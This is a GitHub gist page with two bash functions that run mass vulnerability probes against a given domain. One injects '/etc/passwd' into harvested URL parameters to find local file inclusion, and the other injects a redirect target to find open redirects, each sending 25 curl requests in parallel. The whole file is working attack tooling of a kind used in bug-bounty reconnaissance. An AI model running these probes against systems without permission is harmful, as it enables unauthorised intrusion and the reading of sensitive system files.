Skip to content

Instantly share code, notes, and snippets.

@sasqwatch

sasqwatch/bash_aliases.sh

Forked from dwisiswant0/bash_aliases.sh
Created August 18, 2020 04:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sasqwatch/51ad4b40667513ae5acbbad55192a10a to your computer and use it in GitHub Desktop.
Save sasqwatch/51ad4b40667513ae5acbbad55192a10a to your computer and use it in GitHub Desktop.
Download ZIP
One-liner to get Open-redirect & LFI
Raw
bash_aliases.sh
lfi() {
gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
}
open-redirect() {
local LHOST="http://localhost"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment